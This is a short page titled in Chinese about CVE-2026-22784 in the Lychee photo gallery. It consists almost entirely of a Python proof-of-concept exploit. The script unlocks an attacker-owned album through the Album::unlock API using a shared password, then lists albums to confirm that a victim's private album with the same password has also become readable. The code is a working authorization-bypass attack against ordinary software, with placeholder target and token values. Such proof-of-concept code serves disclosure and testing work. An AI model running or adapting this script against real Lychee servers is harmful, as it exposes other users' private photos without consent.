CVE-2026-22784: Lychee相册密码解锁授权绕过漏洞

# CVE-2026-22784 PoC - Lychee Authorization Bypass # Description: When unlocking one password-protected album, all albums sharing # the same password are automatically unlocked import requests import json TARGET_URL = "http://target-lychee-instance.com" ATTACKER_TOKEN = "attacker_session_token" ALBUM_ID_VICTIM = "victim_album_id_123" ALBUM_ID_ATTACKER = "attacker_album_id_456" SHARED_PASSWORD = "password123" def unlock_album(album_id, password): """Unlock a password-protected album""" url = f"{TARGET_URL}/api/Album::unlock" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } data = { "albumID": album_id, "password": password } response = requests.post(url, headers=headers, json=data) return response.json() def list_albums(): """List all accessible albums after unlocking""" url = f"{TARGET_URL}/api/Album::get" headers = {"Authorization": f"Bearer {ATTACKER_TOKEN}"} response = requests.get(url, headers=headers) return response.json() # Step 1: Unlock attacker's own album with known password print("[*] Step 1: Unlocking attacker's album with password...") result = unlock_album(ALBUM_ID_ATTACKER, SHARED_PASSWORD) print(f"[+] Result: {result}") # Step 2: The vulnerability automatically unlocks ALL albums with same password # including victim's private album print("[*] Step 2: Checking if victim's album is now accessible...") albums = list_albums() for album in albums: if album['id'] == ALBUM_ID_VICTIM: print(f"[!] VULNERABLE: Victim's album '{album['title']}' is now accessible!") print(f"[!] Attacker can now view private photos in victim's album") break print("[*] Exploitation complete - Authorization bypass successful")